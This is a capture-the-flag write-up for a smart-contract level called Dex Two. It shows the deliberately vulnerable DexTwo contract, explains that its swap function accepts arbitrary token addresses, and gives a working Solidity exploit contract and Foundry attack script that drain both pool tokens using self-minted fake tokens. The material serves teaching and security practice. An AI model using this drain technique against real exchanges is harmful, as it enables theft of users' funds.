Dex2
Dex2
This level will ask you to break
DexTwo
, a subtlely modifiedDex
contract from the previous level, in a different way. You need to drain all balances of token1 and token2 from theDexTwo
contract to succeed in this level. You will still start with 10 tokens oftoken1
and 10 oftoken2
. The DEX contract still starts with 100 of each token.
Vulnerable contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';
contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
The vulnerability
The problem in this contract is that it doesn’t check if the swap pair is the pair that the owner of the dex added liquidity. It can be any token address, even our malicious token address.
If we would deploy and mint a new token and send this to the dex we can issue a swap from our malicious made token and the legitimate token1 of the dex.
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
We would make the equation:
amount
* token1
/ malicious token1
== 1
* 100
/ 1
We now get 100
token1
’s back in our swap. Do the same for token2
.
Solution
Hack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Token} from "./Token.sol";
interface IDex {
function swap(address from, address to, uint amount) external;
function token1() external returns(address);
function token2() external returns(address);
}
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns(bool);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns(uint);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,address indexed spender,uint256 value);
}
contract Hack {
IDex dex;
IERC20 token1;
IERC20 token2;
Token dexToken1;
Token dexToken2;
constructor(address _dex) {
dex = IDex(_dex);
token1 = IERC20(dex.token1());
token2 = IERC20(dex.token2());
dexToken1 = new Token();
dexToken2 = new Token();
}
function hack() public {
//mint two tokens
dexToken1.mint(2)
dexToken2.mint(2);
//send one to dex and keep one
dexToken1.transfer(address(dex), 1);
dexToken2.transfer(address(dex), 1);
//approve the dex otherwise transferFrom won't work
dexToken1.approve(address(dex), 1);
dexToken2.approve(address(dex), 1);
dex.swap(address(dexToken1), address(token1), 1);
dex.swap(address(dexToken2), address(token2), 1);
}
}
AttackScript
forge script script/AttackScript.s.sol -vvvvv --broadcast --rpc-url $RPC
AttackScript.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Token} from "../src/Token.sol";
import {Hack} from "../src/Hack.sol";
import {Script} from "forge-std/Script.sol";
contract AttackScript is Script {
function run() public {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployerPrivateKey);
Hack attacker = new Hack(0x1e2d48d1206608CE532527DDa0d51DdA50366f7d);
attacker.hack();
}
}
Designing a decentralized exchange (DEX) that allows users to list their tokens independently of a central authority could lead to the exchange's functionality being contingent upon how the DEX contract interacts with the contracts of the traded tokens.